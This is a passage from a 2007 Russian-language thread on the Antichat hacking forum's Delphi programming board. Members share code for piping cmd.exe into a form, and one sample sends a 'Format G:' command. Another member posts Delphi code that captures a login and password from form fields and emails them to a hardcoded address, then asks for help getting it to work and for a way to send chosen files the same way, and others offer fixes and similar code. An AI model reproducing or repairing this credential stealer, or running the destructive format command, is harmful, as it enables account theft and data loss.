ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #541  
Старый 28.08.2007, 11:36
Аватар для infernal-team
infernal-team
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032

Репутация: 8
По умолчанию

Да заглупил не заметил, буду внимательнее в следующий раз.
 
Ответить с цитированием

  #542  
Старый 28.08.2007, 15:06
Аватар для Mkey
Mkey
Новичок
Регистрация: 17.05.2007
Сообщений: 11
Провел на форуме:
84719

Репутация: 9
По умолчанию

Цитата:
Сообщение от Serbies  
2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%E B%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает
уважаемый Serbies... смею Вас заверить, что использовать поисковый сервис я в состоянии....
Буду Вам очень признателен эсли Вы окажете реальную помощь.... на данный момент расцениваю ваш пост как "флуд-шаблонный".

вот что необходимо получить http://slil.ru/24787881

Последний раз редактировалось Mkey; 28.08.2007 в 15:30..
 
Ответить с цитированием

  #543  
Старый 28.08.2007, 20:52
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от Mkey  
Доброго времени суток, уважаемые.....

Имеем:
1. окно Form1
Хотим получить:
в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
(уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
заранее спсб за грамотные ответы....
Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
 
Ответить с цитированием

  #544  
Старый 29.08.2007, 09:31
Аватар для Mkey
Mkey
Новичок
Регистрация: 17.05.2007
Сообщений: 11
Провел на форуме:
84719

Репутация: 9
По умолчанию

Цитата:
Сообщение от hidden  
Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
вообщето для 2000, xp, 2003.......
пробывал уже Ваш способ.... не выходит... по этому и обратился за помощью....
 
Ответить с цитированием

  #545  
Старый 29.08.2007, 09:40
Аватар для W!z@rD
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #546  
Старый 29.08.2007, 16:49
Аватар для Xserg
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Цитата:
Сообщение от W!z@rD  
а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?
У меня примерчик есть
A симуляция консоли сложноватый пример.
Код:
procedure TForm1.Button2Click(Sender: TObject);
function PipeIs(StdOutR:dword):dword;
var I,X:dword;
begin
I:=0;X:=50;
while true do begin
 sleep(10);
 PeekNamedPipe(StdOutR,nil,0,0,@I,nil);
 if I<>0 then begin PipeIs:=I;exit;end;
 dec(X);
 if X=0  then begin PipeIs:=X;exit;end;
             end;
end;
var
  sa:SECURITY_ATTRIBUTES;
  IR:dword;
  StdInR,StdOutR,StdInW,StdOutW,StdIn,StdOut:dword;
  pi: TProcessInformation;
  si: TStartupInfo;
  I,TimeOut:dword;
  STin,STout:string;
begin

sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(StdOutR,StdOutW,@sa,0);
DuplicateHandle($ffffffff,StdoutW,$ffffffff,@Stdout,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdOutW);
CreatePipe(StdInR,StdInW,  @sa,0);
DuplicateHandle($ffffffff,StdinR, $ffffffff,@Stdin ,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdInR);

  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  si.hStdInput := Stdin;
  si.hStdOutput := Stdout;
  si.hStdError := Stdout;
  si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  CreateProcess(nil,PChar('cmd.exe'), // command line
    nil,nil,TRUE,0,nil,nil,
    si,pi);

memo1.Lines.Clear;
while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
               end;
                            end;

  STout := 'Dir c:\'#$D#$A;
  I := Length(STout);
  WriteFile(StdInW, STout[1], I, I, nil);
  memo1.Lines.Add(STout);

while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
               end;
                           end;

  STout := 'Format G:'#$D#$A;
  I := Length(STout);
  WriteFile(StdInW, STout[1], I, I, nil);
  memo1.Lines.Add(STout);


while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
               end;
                            end;

terminateprocess(pi.hProcess,0);

end;
 
Ответить с цитированием

  #547  
Старый 29.08.2007, 21:20
Аватар для infernal-team
infernal-team
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032

Репутация: 8
По умолчанию

Есть такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;

Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.
 
Ответить с цитированием

  #548  
Старый 29.08.2007, 21:30
Аватар для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

infernal-team
http://slil.ru/24793186
я когда-то давно писал такое
 
Ответить с цитированием

  #549  
Старый 30.08.2007, 10:03
Аватар для infernal-team
infernal-team
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032

Репутация: 8
По умолчанию

Piflit спасибо, но чуть чуть раньше бы и мне не пришлось самому код писать, вобщем может кто поможет (не сочтите за наглость) как сделать вот выбрал в опен диалоге файл и чтобы он пришел ко мне намыло при нажатии буттон. Заранее спасибо.
 
Ответить с цитированием

  #550  
Старый 30.08.2007, 11:08
Аватар для GlOFF
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

infernal-team А ты не думал что твой код может и правильный?
А в синтаксисе отправке неправильный!
в частности нужно не просто мыло [mail := 'loxan06@mail.ru';], а [mail := 'MAIL FROM: loxan06@mail.ru';] ... Хотя могу ошибаться с компонентом делфи не знаком, может он сам это дописывает

P.S. А так никто писать за тебя не будет, тут самому нужно что-то думать... причем Piflit уже дал наработки
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/WPAN/WLAN 2564 06.04.2026 23:31
[ *NIX ] Задай вопрос - получи ответ. Xszz *nix 1547 15.06.2010 15:41
[jQuery] - Задай вопрос, получи ответ Isis PHP, PERL, MySQL, JavaScript 62 25.12.2009 03:25
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ